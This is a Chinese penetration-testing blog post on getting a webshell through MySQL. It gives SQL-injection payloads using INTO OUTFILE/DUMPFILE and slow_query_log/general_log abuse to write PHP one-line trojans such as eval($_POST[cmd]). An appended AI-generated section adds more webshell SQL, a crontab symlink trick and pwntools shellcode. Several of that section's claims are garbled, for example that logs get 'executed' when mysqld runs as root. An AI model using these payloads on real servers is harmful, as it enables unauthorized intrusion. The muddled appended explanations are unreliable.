mysql中getshell的方式

本文探讨了如何在MySQL中利用OUTFILE和dumpfile进行shell脚本写入,包括联合查询与非联合查询的区别,secure_file_priv权限设置,以及如何利用慢日志和general_log获取shell。同时介绍了binlog的基础知识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

outfile和dumpfile写shell

利用条件

  1. 数据库当前用户为root权限;
  2. 知道当前网站的绝对路径;
  3. PHPGPC为 off状态;(魔术引号,GET,POST,Cookie)
  4. 写入的那个路径存在写入权限。

基于union联合查询:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell

?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+号,%0a%0b%a0 、 /**/ 注释符等

outfile和dumpfile的区别

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠

3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)

当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

secure_file_prive

MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_prive= ,结果为空的话,表示允许任何文件读写

secure_file_prive=NULL,表示不允许任何文件读写

secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询secure_file_prive的参数

show global variables like "%secure%"

利用sql语句修改参数

set global secure_file_prive= 

但是5.6后不能利用sql修改了,所以只能利用配置修改

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志参数

show global variables like '%slow%'

image-20220317103023917

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间

利用general_log

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来。

相关参数一共有3个:general_log、log_output、general_log_file

show variables like 'general_log';  -- 查看日志是否开启
set global general_log=on; -- 开启日志功能


show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置


show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file

一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

getshell

set global general_log=on
set global general_log_file='需要攻击的路径'
select '<?php eval($_POST[cmd]);?>'

这样就将一句话木马记录到general_log中,从而getshell

binlog的介绍

可以看看这个

### 通过MySQL日志获取Shell的方法 在某些情况下,攻击者可以通过利用MySQL的日志文件来获取系统的Shell。这种方法通常依赖于对MySQL服务的权限控制不当或配置错误。以下是可能实现此目标的技术细节: #### 1. 修改MySQL用户为root运行 如果攻击者可以修改MySQL的配置文件(如`/etc/mysql/my.cnf`),他们可以将mysqld服务的运行用户从默认的`mysql`更改为`root`[^2]。例如: ```ini [mysqld] user=root ``` 当mysqld以root权限运行时,任何写入到日志文件的内容都将以root权限执行。攻击者可以利用这一点,在日志中注入恶意命令。 #### 2. 利用MySQL日志注入恶意脚本 MySQL支持多种日志类型,包括查询日志、慢查询日志和二进制日志。攻击者可以通过以下方式向这些日志中注入恶意内容: - **设置日志路径**:通过修改`my.cnf`文件,将日志路径指向一个可执行脚本文件。例如: ```ini general_log = 1 general_log_file = /var/log/mysqld.log ``` - **注入恶意命令**:攻击者可以通过执行SQL语句,将恶意命令写入日志文件。例如: ```sql SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; ``` #### 3. 执行日志中的命令 如果日志文件被设置为可执行文件(例如通过符号链接),MySQL服务可能会尝试执行其中的内容。例如: ```bash sudo ln -s /var/log/mysqld.log /etc/crontab ``` 上述命令将日志文件链接到`/etc/crontab`,从而导致系统定时任务解析并执行日志中的内容[^1]。 #### 4. 使用pwntools生成Shellcode 在某些场景下,攻击者可以使用pwntools库生成适用于目标环境的shellcode。例如,在64位Linux系统上,可以使用以下代码生成shellcode[^4]: ```python from pwn import * # 生成64位shellcode shellcode = asm(shellcraft.amd64.linux.sh()) print(shellcode) ``` 生成的shellcode可以嵌入到MySQL日志中,通过执行日志文件触发Shell。 #### 5. 导入SQL文件到MySQL 攻击者还可以通过导入包含恶意SQL语句的`.sql`文件来实现相同效果。例如,创建一个包含以下内容的`malicious.sql`文件: ```sql SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; ``` 然后通过以下命令将其导入到MySQL数据库中[^5]: ```bash mysql -u root -p < malicious.sql ``` --- ### 注意事项 - 上述方法仅用于安全研究和渗透测试,请勿在未经授权的情况下使用。 - 确保MySQL服务的权限配置正确,避免以root用户运行mysqld服务。 - 定期检查和清理日志文件,防止恶意内容注入。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值